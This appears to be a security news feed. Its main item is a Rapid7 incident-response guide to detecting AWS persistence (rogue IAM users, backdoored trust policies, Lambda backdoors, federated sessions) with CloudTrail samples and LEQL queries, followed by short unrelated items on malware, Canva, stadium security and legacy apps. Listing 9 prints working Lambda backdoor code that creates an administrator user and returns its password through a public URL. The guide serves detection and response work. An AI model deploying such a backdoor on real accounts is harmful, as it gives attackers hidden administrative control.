<content:encoded><![CDATA[<h2>Overview</h2><p>In the cloud, your infrastructure may be short-lived, but an attacker’s persistence doesn't have to be. While your environment scales and changes in seconds, adversaries are embedding themselves into your IAM policies, Lambda functions, and federated sessions, creating invisible footholds that survive long after you believe an incident is closed.</p><p>Persistence in AWS is not just a technical oversight; it is a fundamental business risk. If you cannot see how an attacker has rooted themselves in your environment, you cannot contain them. This article moves beyond theory to provide the critical detection logic, investigation workflows, and actionable response steps required to hunt down hidden persistence and reclaim your AWS environment. This reference enables Rapid7 InsightIDR customers to investigate and understand AWS alert behaviors.</p><h2>Persistence technique: IAM user</h2><p><span>One of the most common persistence techniques is maintaining access by creating or modifying Identity and Access Management (IAM) users. An attacker can issue the </span><span><span data-type="inlineCode">iam:CreateUser</span></span><span> API call to create a new IAM user. In addition to establishing persistence, threat actors may use this API call to create a separate user for each collaborator, allowing them to divide work and perform activities independently.</span></p><p><span>During incident investigations, we have observed that malicious </span><span><span data-type="inlineCode">iam:CreateUser</span></span><span> actions are usually simple and often include only the </span><span><span data-type="inlineCode">userName</span></span><span> of the newly created user. Example request and response parameters for this API call are shown in Listing 1, where an attacker creates a new IAM user named </span><span><span data-type="inlineCode">malicious-user</span></span><span><em>.</em></span></p><p></p><pre language="json">   "requestParameters": {
      "userName": "malicious-user"
    },
    "responseElements": {
      "user": {
        "path": "/",
        "userName": "malicious-user",
        "userId": "AIDAS7R4L4RPRYBWCIXXX",
        "arn": "arn:aws:iam::123456789012:user/malicious-user",
        "createDate": "Mar 9, 2026, 9:16:35 AM"
      }
    },</pre><p><span><em>Listing 1: Example request and response parameters of the </em></span><span><span data-type="inlineCode"><em>iam:CreateUser</em></span></span><span><em> API call</em></span></p><p><span><em></em></span></p><p><span>Creating an IAM user does not, by itself, provide threat actors with a particularly effective persistence mechanism, because the newly created user has no credentials for authentication and no identity-based policies assigned. Therefore, several follow-up actions usually occur. These actions typically focus on adding credentials and assigning permissions to the newly created user. Specific examples include:</span></p><h4><span>Credential addition:</span></h4><ul><li><p><span><span data-type="inlineCode">iam:CreateAccessKey</span></span><span> — Creates a long-term credential for the target IAM user. This may also be used for lateral movement when the source user differs from the target user.</span></p></li><li><p><span><span data-type="inlineCode">iam:CreateConsoleProfile</span></span><span><strong> </strong></span><span>— Creates credentials that allow the user to authenticate through the AWS Console interface. Like the previous API call, this may also be used for lateral movement when performed on a different IAM user.</span></p></li></ul><h4><span>Permission addition:</span></h4><ul><li><p><span><span data-type="inlineCode">iam:AttachUserPolicy</span></span><span> — Attaches the specified managed policy to the user.</span></p></li><li><p><span><span data-type="inlineCode">iam:PutUserPolicy</span></span><span> — Adds or updates an inline policy document embedded in the specified IAM user.</span></p></li><li><p><span><span data-type="inlineCode">iam:AddUserToGroup</span></span><span> — Adds the user to the specified group.</span></p></li></ul><p><span>All of these API calls use standardized request parameters, which makes it possible to investigate actions performed on the newly created user with the following LEQL query:</span></p><p></p><pre language="html">where(service="cloudtrail" and source_json.requestParameters.userName = "malicious-user")</pre><p><span><em>Listing 2: LEQL query for investigating actions performed on an IAM user</em></span></p><p><span><em></em></span></p><p><span>Excluding the source user who originally created the malicious IAM user can help reveal other compromised accounts involved in the activity.</span></p><p><span>To get an overview of the most important actions performed on the malicious entity, the following query can be used:</span></p><p></p><pre language="html">where(service="cloudtrail" and source_json.requestParameters.userName = "malicious-user" and not source_json.eventName ISTARTS-WITH-ANY ["Get", "List", "Describe"] and source_json.errorCode != /.+/)groupby(source_json.userIdentity.arn, source_json.eventName)</pre><p><span><em>Listing 3: LEQL query to get an overview of the most important actions performed on the user</em></span></p><p><span><em></em></span></p><p><span>The query in Listing 3 displays a table of successful actions performed by user identities targeting the compromised user. It filters out common read operations that may occur regularly in the environment and also excludes unsuccessful actions.</span></p><p><span>InsightIDR parses the source user into a separate field, which makes it easy to examine all actions performed by IAM users. To get a list of actions performed by the newly created IAM user, the following LEQL query can be used:</span></p><p></p><pre language="html">where(service="cloudtrail" and source_account = "malicious-user")groupby(source_json.eventName)</pre><p><span><em>Listing 4: LEQL query for actions performed by the user</em></span></p><h3>Recommended steps for newly created IAM users</h3><p><span>When investigating and remediating persistence involving newly created IAM users, Rapid7 recommends the following steps:</span></p><ul><li><p><span>Review the actions performed by both the newly created IAM user and the user that initiated its creation to understand the scope and intent of the activity.</span></p></li><li><p><span>Examine authentication activity for unusual locations or patterns, and identify any additional resources that may have been accessed by the same threat actor.</span></p></li><li><p><span>Where possible, apply a deny-all IAM policy to all compromised entities to immediately prevent further malicious actions.</span></p></li><li><p><span>Rotate credentials for all compromised accounts to prevent further unauthorized access.</span></p></li><li><p><span>Remove any unknown or unauthorized IAM users to fully remediate persistence.</span></p></li></ul><h2>Persistence technique: Modifying assume role policies</h2><p><span>An IAM role is an entity that has specific permissions that can be assumed to whoever needs it and has necessary permissions to do so. Roles are intended to provide access to resources to users, applications, and services that normally don’t have access to the required AWS resources. Unlike IAM users, roles do not have long-term access keys so they provide only short-term credentials when they are assumed.</span></p><p><span>During an attack, threat actors can establish persistence by modifying a role's assume role policy. By altering this policy, they can allow users from an attacker-controlled AWS account to assume the role within the victim’s account.This form of persistence can be achieved by creating a fresh new role using </span><span><span data-type="inlineCode">iam:CreateRole</span></span><span> with already backdoored assume role policy, or via editing an assume role policy that already exists using </span><span><span data-type="inlineCode">iam:UpdateAssumeRolePolicy</span></span><span> API call. Listing 5 shows an example of an assumed role policy document that allows access from external AWS accounts.</span></p><p></p><pre language="json">{
    "Version": "2012-10-17",
    "Id": "...",
    "Statement": [
        {
            "Sid": "Statement1",
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::111111111111:root"
            },
            "Action": "sts:AssumeRole"
        },
        {
            "Sid": "Statement2",
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::222222222222:root"
            },
            "Action": "sts:AssumeRole"
        }
    ]
}

</pre><p><span><em>Listing 5: Assume role policy allows external access</em></span></p><p></p><p><span>The document contains two external account IDs, </span><span><span data-type="inlineCode">111111111111</span></span><span> and </span><span><span data-type="inlineCode">222222222222</span></span><span>, and allows anyone with necessary permissions in the attacker's account to assume the role.</span></p><p><span>In addition to investigating the user who performed the action to confirm its compromise, there are additional queries that could reveal other potentially malicious activity. The LEQL query in Listing 6 shows all actions performed on the </span><span><span data-type="inlineCode">malicious-role</span></span><span> that has a suspicious assume role policy statement. The query also filters our common noise in AWS environments.</span></p><p></p><pre language="html">where(service = "cloudtrail" and source_json.requestParameters.roleName = "malicious-role" and not source_json.userIdentity.invokedBy IIN ["resource-explorer-2.amazonaws.com", "access-analyzer.amazonaws.com"])</pre><p><span><em>Listing 6: LEQL query to show actions performed on the suspicious role</em></span></p><p></p><p><span>When this persistence technique is observed, it’s recommended to search for activity originating from malicious accounts. When </span><span><span data-type="inlineCode">iam:AssumeRole</span></span><span> action is observed, the returned temporary key can be extracted and its associated activity can be further examined.</span></p><p><span></span></p><pre language="html">where(service = "cloudtrail" and source_json.userIdentity.accountId IN ["111111111111", "222222222222"])</pre><p><span><em>Listing 7: LEQL query showing actions from the suspicious AWS accounts</em></span></p><p></p><p><span>Also, it’s recommended to search for other potentially backdoored policies that may have been created within the environment. The LEQL query in Listing 8 shows a table of principal IDs that wrote the previously identified malicious AWS accounts into specific roles.</span></p><p></p><pre language="html">where(service = "cloudtrail"  and source_json.eventName IIN ["CreateRole", "UpdateAssumeRolePolicy"] and source_json.eventSource = NOCASE("iam.amazonaws.com") and source_json.requestParameters.assumeRolePolicy, source_json.requestParameters.policyDocument ICONTAINS-ANY ["111111111111", "222222222222"])groupby(source_json.userIdentity.principalId, source_json.requestParameters.roleName)</pre><p><span><em>Listing 8: LEQL query showing roles with assume role referring to the suspicious AWS accounts</em></span></p><h2>Persistence technique: Lambda abuse</h2><p><span>AWS Lambda is a serverless compute service that allows users to execute code without managing servers. Lambda functions contain code that can be triggered by various AWS services, such as API Gateway, CodeCommit, Config, and others.</span></p><p><span>Threat actors may abuse Lambda functions to upload malicious code that maintains access to the environment when invoked. The code inside a Lambda function can perform any operation, as long as the function has the necessary permissions assigned to it. However, a common malicious use case is provisioning new privileged IAM users.</span></p><p></p><pre language="python">import string
import boto3
import uuid
import json
import random

def lambda_handler(event, context):
    iam = boto3.client('iam')

    user_name = f"user-{uuid.uuid4().hex[:8]}"
    password = ''.join(random.choices(string.ascii_letters + string.digits + string.punctuation, k=10))

    try:
        response = iam.create_user(UserName=user_name)
        print(f"User {user_name} created successfully")

        iam.create_login_profile(
            UserName=user_name,
            Password=password,
            PasswordResetRequired=False
        )

        iam.attach_user_policy(
            UserName=user_name,
            PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
        )

        account_id = context.invoked_function_arn.split(":")[4]
        iam_login_url = f"https://{account_id}.signin.aws.amazon.com/console"

        return {
            'statusCode': 200,
            'body': json.dumps({
                'message': f'User {user_name} created successfully',
                'login_url': iam_login_url,
                'username': user_name,
                'password': password
            })
        }
    except Exception as e:
        return {
            'statusCode': 500,
            'body': json.dumps({'error': error_message})
        }</pre><p><span><em>Listing 9: Backdoor Python Lambda code</em></span></p><p></p><p><span>The code in Listing 5 creates a new IAM user with a login profile and attaches the AdministratorAccess policy to it. The login credentials are returned to the attacker in the response from the Lambda function. To execute, the Lambda function must be triggered. Threat actors may create various triggers depending on how the malicious code operates. In scenarios like the example above, the Lambda function is usually assigned a public URL that a threat actor can call to invoke it.</span></p><p><span>One way the function can be invoked via a public URL is by using the </span><span><span data-type="inlineCode">lambda:CreateFunctionUrlConfig</span></span><span> and </span><span><span data-type="inlineCode">lambda:AddPermission</span></span><span> sequence. The </span><span><span data-type="inlineCode">lambda:CreateFunctionUrlConfig</span></span><span> API call takes the function name as an argument and returns the function URL. This URL can then be used by threat actors to invoke the function. The second API call, </span><span><em><span data-type="inlineCode">lambda:AddPermission</span></em></span><span>, assigns permission that allows the function to be invoked from the URL.</span></p><p>    </p><pre language="html">"requestParameters": {
      "functionName": "backdoor_function",
      "authType": "NONE",
      "cors": {
        "allowHeaders": [
          "*"
        ], 
        "allowMethods": [
          "GET",
          "POST"
        ], 
        "allowOrigins": [
          "*"
        ] 
      }
    },
    "responseElements": {
      "functionUrl": "https://uniqueaddress.lambda-url.us-east-1.on.aws/",
      "functionArn": "arn:aws:lambda:us-east-1:123456789012:function:backdoor_function",
      "authType": "NONE",
      "cors": {
        "allowHeaders": [
          "*"
        ], 
        "allowMethods": [
          "GET",
          "POST"
        ], 
        "allowOrigins": [
          "*"
        ] 
      }
    }</pre><p><em>Listing 10: Example request and response elements of the </em><span data-type="inlineCode">lambda:CreateFunctionUrlConfig</span><em> function<br></em><em><br></em><span>Another way to trigger a Lambda function via a URL is to create an API Gateway endpoint and use </span><span><span data-type="inlineCode">apigateway:CreateIntegration</span></span><span> or </span><span><span data-type="inlineCode">apigateway:PutIntegration</span></span><span> to set the destination to a Lambda function. The action logged in Listing 7 creates an integration to trigger version 1 of a Lambda function named </span><span><span data-type="inlineCode">backdoor_lambda_function</span></span><span>. When investigating, it is important to check the content of the version of the Lambda function being triggered, as there may be legitimate-looking code in later versions used to hide malicious code.</span></p><p></p><pre language="html">  "eventSource": "apigateway.amazonaws.com",
    "eventName": "CreateIntegration",
    "awsRegion": "us-east-1",
    "requestParameters": {
      "integrationMethod": "GET",
      "integrationType": "AWS_PROXY",
      "payloadFormatVersion": "2.0",
      "integrationUri": "arn:aws:lambda:us-east-1:123456789012:function:backdoor_lambda_function:1",
      "apiId": "xxxxxxx"
    },</pre><p><em>Listing 11: Part of </em><span data-type="inlineCode">apigateway:CreateIntegration</span><em> CloudTrail log</em></p><p></p><p><span>There are various other ways the backdoor function may be implemented. For example, threat actors may use </span><span><span data-type="inlineCode">events:PutRule</span></span><span> to set up event-driven execution and then use </span><span><span data-type="inlineCode">events:PutTargets</span></span><span> to assign the Lambda function as a target. The function may then establish a backdoor and send credentials to attacker-controlled C2 servers.</span></p><h3>Suspicious Lambda function activity: Next steps</h3><p><span>This section contains recommended actions and investigation steps to take whenever InsightIDR highlights activity originating from a Lambda function as suspicious. During investigations, focus on answering the following questions:</span></p><ul><li><p><span>Is the Lambda function known and authorized?</span></p></li><li><p><span>What code invoked the suspicious activity?</span></p></li><li><p><span>Who created the Lambda function?</span></p></li><li><p><span>How was the Lambda function triggered?</span></p></li><li><p><span>What actions were performed by the function?</span></p></li></ul><p><span>The LEQL query shown in Listing 12 provides an example that displays successful actions performed by a Lambda function named </span><span><span data-type="inlineCode">malicious-function</span></span><span>, grouped by event source.</span></p><p></p><pre language="html">where(service = "cloudtrail" and source_json.userIdentity.arn ICONTAINS "/malicious-function" and source_json.errorCode != /.+/)groupby(source_json.eventSource, source_json.eventName)</pre><p><em>Listing 12: LEQL query showing an overview of actions performed by the Lambda function</em></p><p></p><p><span>Malicious activity performed by Lambda functions can originate from malicious code within the function or from the exploitation of a legitimate application. If malicious code is identified, the user who inserted it is likely to be compromised as well. The query in Listing 9 displays principal IDs and their associated API calls affecting the Lambda function, including the techniques described in this section and function invocation events (</span><span><span data-type="inlineCode">lambda:Invoke</span></span><span> API call).</span></p><p></p><pre language="html">where(service = "cloudtrail" and source_json.requestParameters.functionName,source_json.requestParameters.putIntegrationInput.uri, source_json.requestParameters.integrationUri, source_json.requestParameters.targets.arn ICONTAINS "malicious-function" and not source_json.userIdentity.invokedBy IIN ["resource-explorer-2.amazonaws.com", "config.amazonaws.com"])groupby(source_json.userIdentity.principalId, source_json.eventSource, source_json.eventName)</pre><p><em>Listing 13: LEQL query showing actions performed on the Lambda function</em></p><h2>Persistence technique: Federated user session creation</h2><p><span>Threat actors may use the Security Token Service (STS) API call to create a federated user session and maintain access to an AWS environment even after some standard containment actions have been completed. GetFederationToken returns a set of temporary security credentials for a federated user principal. The API call must be made using long-term IAM user credentials, which means activity from a federated user should always be investigated together with the IAM user that created the session.</span></p><p><span>This technique is especially important during incident response because disabling or deleting the original access key does not automatically invalidate temporary credentials that have already been issued. Those credentials remain usable until they expire, unless their effective permissions are blocked. As a result, responders should treat the federated session as a separate active identity and investigate both the session activity and the source IAM user activity.</span></p><p><span>The effective permissions of a federated user are based on the permissions available to the IAM user that requested the token and any session policies passed in the </span><span><span data-type="inlineCode">GetFederationToken</span></span><span> request. A session policy cannot grant permissions that the source IAM user does not already have. However, if the compromised IAM user is highly privileged, the resulting federated session may still provide broad access to the environment.</span></p><p><span>When InsightIDR alerts on suspicious activity performed by a federated user, the userIdentity field in CloudTrail may look similar to the example below:</span></p><p></p><pre language="json">"userIdentity": {
  "type": "FederatedUser",
  "principalId": "123456789012:None",
  "arn": "arn:aws:sts::123456789012:federated-user/None",
  "accountId": "123456789012",
  "accessKeyId": "ASIAS8T6L4RPJJGXXXX",
  "sessionContext": {
    "sessionIssuer": {
      "type": "IAMUser",
      "principalId": "AIDAIT67N6AB4IH6XXXXX",
      "arn": "arn:aws:iam::123456789012:user/compromisedUser",
      "accountId": "123456789012",
      "userName": "compromised_user"
    },
    "attributes": {
      "creationDate": "2026-04-11T09:13:11Z",
      "mfaAuthenticated": "false"
    }
  }
},</pre><p>Listing 13: <span data-type="inlineCode">userIdentity</span> field of an event performed by a federated user</p><p></p><p><span>In this example, the federated user name is </span><span><span data-type="inlineCode">None</span></span><span>, which comes from the name parameter supplied to STS. The </span><span><span data-type="inlineCode">sessionContext.sessionIssuer</span></span><span> field identifies the IAM user that created the federated session. This is the most important pivot point during the investigation because the source IAM user is likely to be compromised.</span></p><p><span>To review successful actions performed by the federated user, defenders can use the following LEQL query:</span></p><p></p><pre language="html">where(service = "cloudtrail" and source_json.userIdentity.arn = "arn:aws:sts::123456789012:federated-user/None" and source_json.errorCode != /.+/)groupby(source_json.eventSource, source_json.eventName)</pre><p><em>Listing 15: LEQL query showing all successful actions performed by the federated user</em></p><p></p><p><span>To focus on higher-signal activity, defenders can exclude common enumeration actions:</span></p><p></p><pre language="html">where(service = "cloudtrail" and source_json.userIdentity.arn = "arn:aws:sts::123456789012:federated-user/None" and source_json.errorCode != /.+/ and not source_json.eventName ISTARTS-WITH-ANY ["Get", "List", "Describe"])groupby(source_json.eventSource, source_json.eventName)</pre><p><em>Listing 16: LEQL query showing successful non-enumeration actions performed by the federated user</em></p><p><span></span></p><p><span>When reviewing actions performed by federated users, pay close attention to activity involving IAM, CloudTrail, GuardDuty, Organizations, KMS, Secrets Manager, S3, Lambda, and EC2. IAM activity is particularly important. Federated user credentials cannot call IAM APIs via AWS CLI and AWS API, but this limitation does not apply to AWS Management Console sessions. Therefore, successful IAM activity associated with a federated user may indicate that the threat actor generated console access by using the </span><span><span data-type="inlineCode">signin:GetSigninToken</span></span><span> and </span><span><span data-type="inlineCode">signin:ConsoleLogin</span></span><span> API sequence.</span></p><p><span>Defenders can review </span><span><span data-type="inlineCode">sts:GetFederationToken</span></span><span> calls to review federated tokens creations performed by the source user. The API calls may be further scoped down by adding </span><span><span data-type="inlineCode">source_json.responseElements.credentials.accessKeyId = “malicious_access_key”</span></span><span>, which will display the exact API call that was used to obtain the temporary token. This may be useful when determining Initial Access Vector, as the API call may contain the initially leaked long-term credentials.</span></p><p></p><pre language="html">where(service = "cloudtrail" and action = "GetFederationToken" and source_json.eventSource = "sts.amazonaws.com" and source_json.requestParameters.name = "None" and source_json.userIdentity.userName = "compromised_user")</pre><p><em>Listing 17: LEQL query showing the </em><span data-type="inlineCode">GetFederationToken</span><em> event that created the federated user credentials</em></p><p><span></span></p><p><span>During the investigation, responders should focus on answering the following questions:</span></p><ul><li><p><span>Which IAM user created the federated session?</span></p></li><li><p><span>What actions did the federated user perform after the token was issued?</span></p></li><li><p><span>Did the actor use the federated session to access the AWS Management Console?</span></p></li><li><p><span>Did the federated user create or modify additional persistence mechanisms?</span></p></li><li><p><span>What other suspicious activities were performed?</span></p></li></ul><p><span>When compromise is confirmed, Rapid7 recommends the following steps:</span></p><ul><li><p><span>Apply a deny-all policy to the IAM user that created the federated session. Keep the deny in place until the federated credentials have expired.</span></p></li><li><p><span>Rotate or delete all affected access keys associated with the compromised IAM user.</span></p></li><li><p><span>Remove any additional persistence that might have been created.</span></p></li></ul><h2>Summary</h2><p><span>AWS persistence often relies on abusing legitimate identity and automation features such as IAM users, access keys, assume role policies, Lambda functions, and federated user sessions. Many malicious activities are made possible by overly permissive policies, so organizations should regularly review IAM permissions, trust policies, and resource-based policies, and use Service Control Policies to enforce preventative guardrails across AWS accounts.</span></p><p><span>Effective detection and response requires pivoting from the alerted activity to related identities, credentials, sessions, policies, and resources to determine whether additional persistence exists. Rapid7 MDR provides comprehensive detection and incident response services to help organizations identify suspicious AWS activity, contain compromised identities, and harden cloud environments against repeat abuse.</span></p>]]></content:encoded>
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<title><![CDATA[OkoBot Malware Uses ClickFix and SeedHunter to Steal Ledger and Trezor Seed Phrases]]></title>
<description><![CDATA[A newly documented malware framework dubbed OkoBot is targeting cryptocurrency users with a multi-stage intrusion chain designed to capture Ledger and Trezor recovery phrases, browser credentials, wallet files, keystrokes, screenshots, and application video recordings. Researchers first observed ...]]></description>
<link>https://tsecurity.de/de/3670682/it-security-nachrichten/okobot-malware-uses-clickfix-and-seedhunter-to-steal-ledger-and-trezor-seed-phrases/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670682/it-security-nachrichten/okobot-malware-uses-clickfix-and-seedhunter-to-steal-ledger-and-trezor-seed-phrases/</guid>
<pubDate>Wed, 15 Jul 2026 14:50:40 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A newly documented malware framework dubbed OkoBot is targeting cryptocurrency users with a multi-stage intrusion chain designed to capture Ledger and Trezor recovery phrases, browser credentials, wallet files, keystrokes, screenshots, and application video recordings. Researchers first observed the activity in January 2026, although the campaign’s TookPS downloader component has been active since March 2025. The […]</p>
<p>The post <a href="https://gbhackers.com/okobot-malware-uses-clickfix/">OkoBot Malware Uses ClickFix and SeedHunter to Steal Ledger and Trezor Seed Phrases</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<title><![CDATA[Canva Code 2.0 Adds Visual Web Editing And Custom HTML Imports]]></title>
<description><![CDATA[Canva just released Canva Code 2.0, an updated platform that lets you build and edit websites, applications, and interactive experiences using simple prompts. The company is taking a big step into website creation by letting users type what they want and watch it appear on the screen. It builds o...]]></description>
<link>https://tsecurity.de/de/3670265/ios-mac-os/canva-code-20-adds-visual-web-editing-and-custom-html-imports/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670265/ios-mac-os/canva-code-20-adds-visual-web-editing-and-custom-html-imports/</guid>
<pubDate>Wed, 15 Jul 2026 12:09:58 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Canva just released Canva Code 2.0, an updated platform that lets you build and edit websites, applications, and interactive experiences using simple prompts. The company is taking a big step into website creation by letting users type what they want and watch it appear on the screen. It builds on previous updates to its generation tools and makes the whole process feel much closer to basic graphic design.



Users can build and edit interactive websites with basic prompts



You can start a new project by typing a description, or you can pick from more than 50 fresh templates. If you have already started building a page somewhere else, Canva allows you to import your HTML directly into its system. This makes it easy to move existing projects over to the new workspace and continue tweaking them.



The system places a heavy focus on teamwork and lets multiple people jump in and edit a project at the exact same time. It also ties directly into the main Canva editor, meaning you can pull up your saved brand colors and logos without opening another tab.



You can drag and drop images straight from its built-in library, change fonts, or click any text block to type something new. If you need a hand, you can select specific parts of the page and ask the artificial intelligence to change the layout or rewrite the words for you.



When a project is ready to go live, you have the option to link a custom domain or publish everything on a free Canva web address. The final websites are fully interactive and automatically resize to fit mobile screens.



This update marks a noticeable shift in how Canva operates, moving it from a standard image editor into a serious web publishing tool for small businesses and creators. As AI development pushes forward, visual website builders like this will likely become the standard way people create online spaces.]]></content:encoded>
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<title><![CDATA[When 80,000 fans log on at once: The 2026 World Cup’s unique cybersecurity issues]]></title>
<description><![CDATA[With the World Cup in full swing, stadiums across North America are currently accommodating thousands of fans every match day. That said, the stadiums’ biggest security challenge isn’t of a physical nature.



It is not hyperbolic to say that football stadiums are some of the most chaotic endpoin...]]></description>
<link>https://tsecurity.de/de/3670247/it-security-nachrichten/when-80000-fans-log-on-at-once-the-2026-world-cups-unique-cybersecurity-issues/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670247/it-security-nachrichten/when-80000-fans-log-on-at-once-the-2026-world-cups-unique-cybersecurity-issues/</guid>
<pubDate>Wed, 15 Jul 2026 12:08:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">With the World Cup in full swing, stadiums across North America are currently accommodating thousands of fans every match day. That said, the stadiums’ biggest <a href="https://www.networkworld.com/article/731234/security-world-cup-security-preparing-for-the-unexpected.html"></a>security challenge isn’t of a physical nature.</p>



<p class="wp-block-paragraph">It is not hyperbolic to say that football stadiums are some of the most chaotic endpoint environments in enterprise IT. On game days, tens of thousands of unmanaged, unknown devices connect to <a href="https://stadiumtechreport.com/editorial/stadium-networks-are-about-to-get-more-complicated/"></a>stadium networks, alongside payment systems, digital displays, operations platforms and venue staff devices. This creates a massive attack surface with a potential for serious disruptions, such as payment outages at concessions, delays in live streaming and interruptions to other venue operations.</p>



<p class="wp-block-paragraph">In this article, we’ll examine the World Cup stadiums’ unique cyber environments, while also providing steps that venues can take to harden their connectivity and ensure that their networks are protected.</p>



<h2 class="wp-block-heading">For World Cup stadiums, real-time visibility is far more important than device control</h2>



<p class="wp-block-paragraph">Given that stadiums like Dallas’s AT&amp;T Stadium, Mexico City’s Estadio Azteca and New Jersey’s MetLife Stadium can all accommodate over 80,000 soccer fans per game, it is impossible to control all these fans’ devices. Hence, network segmentation and real-time visibility are key. <strong></strong></p>



<p class="wp-block-paragraph">The fan-device layer obviously must remain entirely separate from the payment systems and operational infrastructure. All fan devices need to be relegated to the public WiFi, and treated as hostile by default. Although this segmentation is technically a form of device control, real-time visibility is truly the only way to maintain a <a href="https://insights.manageengine.com/it-security/zero-trust-maturity-model/"></a>Zero Trust environment within these stadiums.</p>



<h2 class="wp-block-heading">Continuous monitoring across networks, endpoints and identity systems is vital</h2>



<p class="wp-block-paragraph">To achieve a Zero Trust architecture inside these massive football venues, it is important to have identity-centric zero-trust solutions firmly in place. <em></em></p>



<p class="wp-block-paragraph">With so many vendors, stadium personnel and operations workers requiring different levels of access to different systems, a robust identity security solution is crucial. All <a href="https://redmondmag.com/articles/2026/07/08/why-the-2026-world-cup-is-becoming-a-cybersecurity-stress-test.aspx">modern football stadiums</a> require adaptive MFA, single sign-on, and conditional access based on users’ roles, locations, time of access request and device type. <em></em></p>



<p class="wp-block-paragraph">Without a robust identity access tool in place, a bad actor could compromise a single user’s credentials and gain access to payment systems or other operational technologies within the stadium.<em></em></p>



<p class="wp-block-paragraph">Besides an effective identity security tool, stadiums require network visibility and endpoint protection. All operational endpoints inside the arenas, including point-of-sale terminals, digital displays and staff devices, need to be managed and monitored via a robust endpoint management platform. With such a tool, IT teams can correlate telemetry across all network activity, which helps them to isolate compromised devices before a bad actor can execute malicious lateral movements.</p>



<p class="wp-block-paragraph">With real-time traffic visibility, IT personnel can detect anomalies, monitor network performance across all segments and receive alerts whenever unusual traffic patterns emerge. Although stadiums can’t control 80,000 fan devices per se, empowered IT workers can observe everything from the network level.</p>



<h2 class="wp-block-heading">Automation can help to ensure timely patching and audit readiness</h2>



<p class="wp-block-paragraph">A unified log management and security analytics tool is vital in the World Cup setting. During a high-stakes event like the World Cup, SIEM platforms pull real-time logs from all the devices, endpoints, applications on the network.<strong></strong></p>



<p class="wp-block-paragraph">By using an effective patch management software in conjunction with a SIEM platform with automated alerts, stadium IT personnel can automatically patch hundreds of endpoints, while also accelerating incident response time.</p>



<p class="wp-block-paragraph">The very best SIEM tools will also use behavioral analytics to conduct real-time threat detection; if any anomalous activity is flagged on the network, automated alerts are triggered and incident response workflows will commence.</p>



<p class="wp-block-paragraph">SIEM tools also help when it comes to building out compliance reports and maintaining audit readiness. The IT departments inside these enormous football stadiums require a host of different <a href="https://www.csoonline.com/article/4108294/implementing-nis2-without-ending-up-in-a-paper-war.html"></a>compliance reporting capabilities, including PCI-DSS for stadium payment systems, SOC 2 compliance for third-party vendors handling fan data, ticketing and other operations, as well as <a href="https://www.networkworld.com/article/965408/are-you-ready-for-the-gdpr-in-may.html">GDPR compliance</a> for loyalty programs, identity verification, WiFi registration and any biometric data captured within the stadium.</p>



<h2 class="wp-block-heading">Key steps that stadium IT personnel should take during the World Cup</h2>



<p class="wp-block-paragraph">Firstly, a Zero Trust environment should be maintained inside all the stadiums. The 2026 World Cup contains far more integrated technologies than ever before. Today’s in-stadium technologies are borderline futuristic; referees wear <a href="https://www.wired.com/story/world-cup-referee-body-cameras-live/"></a>body cameras, and there is even motion sensors embedded inside all <a href="https://inside.fifa.com/innovation/innovating-the-game/connected-ball-technology"></a>World Cup game balls. Given this ultra-high-tech environment, all users, APIs and devices need to be continuously authenticated and treated as hostile-by-default.</p>



<p class="wp-block-paragraph">Secondly, in such a high-stakes, highly integrated environment, real-time monitoring and centralized visibility is crucial. With centralized visibility across the network, IT personnel can effectively conduct deep traffic flow analyses, identifying which devices are attempting to communicate with which systems. This way, all lateral movement attempts can be identified, and any fan-device that tries to reach a payment or operational technology segment can be flagged.</p>



<p class="wp-block-paragraph">Thirdly, IT teams should conduct incident simulations. Given the complex environment of broadcasting infrastructure, digital ticketing systems, POS, WiFi and commercial cellular networks, it is vital that IT personnel test their incident response processes to ensure they avoid service disruptions and prevent data leaks during matches.</p>



<h2 class="wp-block-heading">The bottom line: The 2026 World Cup stadiums require robust cybersecurity solutions</h2>



<p class="wp-block-paragraph">From a cybersecurity perspective, <a href="https://www.cio.com/article/4190097/the-ai-selected-to-give-the-fifa-world-cup-an-edge.html"></a>the 2026 World Cup is a unique event. With matches taking place across sixteen different cities in three different countries (not to mention the currently heightened geopolitical tensions), there is a strong potential for state-backed cybercriminals and hacktivist groups to target stadium infrastructure.<br>It is vital that stadium IT personnel are equipped with adequate cyber solutions, including robust SIEM, IAM, patch management and network management tools. There’s no reason to give bad actors a free kick.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[The trillion-dollar question: When should legacy applications make way for AI?]]></title>
<description><![CDATA[If you just read the headlines, it would seem as if AI is now writing all of the world’s code and powering every application businesses run on.



That’s far from true. Just 4 of 33 AI pilots reach production, according to IDC Research — leaving legacy applications still fueling the wheels of com...]]></description>
<link>https://tsecurity.de/de/3670220/it-nachrichten/the-trillion-dollar-question-when-should-legacy-applications-make-way-for-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670220/it-nachrichten/the-trillion-dollar-question-when-should-legacy-applications-make-way-for-ai/</guid>
<pubDate>Wed, 15 Jul 2026 12:03:08 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">If you just read the headlines, it would seem as if AI is now writing all of the world’s code and powering every application businesses run on.</p>



<p class="wp-block-paragraph">That’s far from true. Just 4 of 33 AI pilots reach production, according to<a href="https://investor.lenovo.com/en/global/Lenovo_CIO_Playbook_2025.pdf"> IDC Research </a>— leaving legacy applications still fueling the wheels of commerce. This “silent majority” represents trillions of dollars spent each year on building, maintaining, testing, validating and monitoring legacy applications.</p>



